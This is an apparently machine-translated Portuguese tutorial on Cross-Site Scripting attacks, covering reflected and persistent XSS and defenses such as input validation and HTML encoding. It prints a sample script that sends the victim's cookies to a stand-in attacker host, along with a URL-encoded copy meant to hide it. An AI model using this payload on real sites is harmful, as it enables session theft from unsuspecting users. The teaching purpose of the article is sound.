Ataques Cross-Site Scripting

Fevereiro 2017

Injecção de código malicioso

Os ataques de tipo Cross-Site Scripting (notado às vezes XSS ou CSS) são ataques que visam os sites web que afixam dinamicamente conteúdo utilizador sem efectuar controlo e codificação das informações apreendidas pelos utilizadores. Os ataques Cross-Site Scripting consistem assim em forçar um site web a afixar do código HTML ou os certificados apreendidos pelos utilizadores. O código assim incluído (o termo “injectado” habitualmente é utilizado) num site web vulnerável é dito “malicioso”.


É corrente que os sites afixem mensagens de informação que retomam directamente um parâmetro introduzido pelo utilizador. O exemplo mais clássico é o “das páginas de erro 404”. Certos sites web alteram o comportamento do site web, para afixar uma mensagem de erro personalizada quando a página pedida pelo visitante não existe. Às vezes a página gerada dinamicamente apresenta o nome da página pedida. Chamemos http://site.vulnerável a um site que possua tal falha. A chamada do URL http://site.vulnerable/page-inexistante que corresponde a uma página que não existe provocará a afixação de uma mensagem de erro que indica que a página “página-inexistente” não existe. É assim possível afixar o que desejar no site web substituindo “página-inexistente” por qualquer outra cadeia de caracteres.

Assim, se nenhum controlo for efectuado sobre o conteúdo fornecido pelo utilizador, é possível afixar o código HTML arbitrário sobre uma página web, a fim de alterar o aspecto, o conteúdo ou o comportamento.

Além disso, a maior parte dos navegadores é dotada da capacidade de interpretar certificados contidos nas páginas web, escritos em diferentes linguagens, como JavaScript, VBScript, Java, ActiveX ou Flash. As balizas HTML seguintes permitem assim incorporar certificados realizáveis numa página web: <SCRIPT>, <OBJECT>, <APPLET>, e <EMBED>.

É assim possível que um pirata injecte um código arbitrário na página web, para que este seja executado no posto do utilizador no contexto de segurança do site vulnerável. Para o efeito, basta que substitua o valor do texto destinado a ser afixado por um certificado, para que este seja afixado na página web. Por pouco que o navegador do utilizador esteja configurado para executar tais certificados, o código malicioso tem acesso ao conjunto dos dados compartilhados pela página web do utilizador e o servidor (cookies, campos de formulários, etc.).

Consequências

Graças às vulnerabilidades Cross-Site Scripting, é possível para um pirata recuperar desta forma os dados trocados entre o utilizador e o site web interessado. O código injectado na página web pode assim servir para afixar um formulário a fim de enganar o utilizador e fazer-lhe introduzir, por exemplo, informações de autenticação.


Além disso, o certificado injectado pode permitir o encaminhamento do utilizador para uma outra página sob o controlo do pirata, possuindo eventualmente a mesma conversão gráfica que o site comprometido a fim de enganar o utente.


Em tal contexto, a relação de confiança que existe entre o utilizador e o site web fica completamente comprometida.

Persistência do ataque

Quando os dados introduzidos pelo utilizador são armazenados no servidor durante um certo tempo (é o caso de um fórum de discussão, por exemplo), o ataque toma o nome de “persistente”. Com efeito, todos os utilizadores do site web acesso à página na qual o código prejudicial foi introduzido.


Os ataques ditos “não persistentes” referem-se às páginas web dinâmicas nas quais uma variável introduzida pelo utilizador é afixada tal qual (por exemplo, a afixação do nome do utilizador, da página corrente ou a palavra introduzida num campo de formulário). Para poder explorar esta vulnerabilidade, o atacante deve fornecer à vítima uma URL alterada, passando o código a inserir em parâmetro. No entanto, uma URL que contém elementos de código Javascript poderá parecer suspeito à vítima, esta é a razão pela qual este ataque é, na maior parte das vezes, realizada codificando os dados no URL, para esconder o código injectado do utilizador.

Exemplo


Suponhamos que a página de acolhimento de Kioskea.net é vulnerável a um ataque de tipo Cross-Site Scripting porque permite afixar na página de acolhimento uma mensagem de boas-vindas que afixa o nome do utilizador passado em parâmetro:


http://pt.kioskea.net/?nom=Jeff


Uma pessoa mal-intencionada pode realizar um ataque Cross-Site Scripting não persistente fornecendo a uma vítima um endereço que substitui o nome “Jeff” por pelo código HTML. Pode nomeadamente passar em parâmetro o código Javascript seguinte, servindo para reencaminhar o utilizador para uma página que ele controla:


<SCRIPT>
document.location=' http://site.pirate/cgi-bin/script.cgi?'+document.cookie
</SCRIPT>

O código acima recupera os cookies do utilizador e transmite-os em parâmetro a um certificado CGI. Tal código passado em parâmetro seria demasiado visível:


http://pt.kioskea.net/?nom= <SCRIPT>document.location
= ' http://site.pirate/cgi-bin/script.cgi?'+document.cookie </SCRIPT>


Em contrapartida, a codificação do URL permite mascarar o ataque:

http://pt.kioskea.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65%  
6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74%  
65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e%  
63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%  
53%43%52%49%50%54%3e

Ataque cruzado

No exemplo precedente, o conjunto do certificado passou em parâmetro do URL. O método GET, permitindo passar parâmetros no URL é limitado a um comprimento total de 255 caracteres para o URL. Graças ao atributo SRC da baliza <SCRIPT>, é possível executar o código malicioso armazenado num certificado sobre um servidor distante! Dado que é assim possível injectar o código a partir de uma fonte distante, este tipo de ataque assume o nome “Cross-Site” (“Cross-Site” significa literalmente “entre sites”).

Protecção

No que diz respeito ao utilizador, é possível prevenir-se contra os ataques CS configurando o navegador de maneira impedir a execução das linguagens de certificados. Na realidade, esta solução é frequentemente demasiado vinculativa para o utilizador porque numerosos sites recusarão funcionar correctamente na ausência de possibilidade de execução de código dinâmico.

A única maneira viável de impedir os ataques Cross-Site Scripting consiste em conceber sites web não vulneráveis. Para o efeito, o projectista de um site web deve:

  • Verificar o formato dos dados introduzidos pelos utilizadores;
  • Codificar os dados dos utilizadores afixados substituindo os caracteres especiais pelos seus equivalentes HTML.

O termo “sanitation” designa todas as acções que permitem tornar seguro um dado introduzido por um utilizador.

Mais informações

Veja também


Cross-Site Scripting attacks
Cross-Site Scripting attacks
Ataques de secuencia de comandos entre páginas Web (XSS)
Ataques de secuencia de comandos entre páginas Web (XSS)
Angriffe Cross-Site Scripting
Angriffe Cross-Site Scripting
XSS - Cross-Site Scripting
XSS - Cross-Site Scripting
XSS - Cross-Site Scripting
XSS - Cross-Site Scripting
Este documento, intitulado 'Ataques Cross-Site Scripting', está disponível sob a licença Creative Commons. Você pode copiar e/ou modificar o conteúdo desta página com base nas condições estipuladas pela licença. Não se esqueça de creditar o CCM (br.ccm.net) ao utilizar este artigo.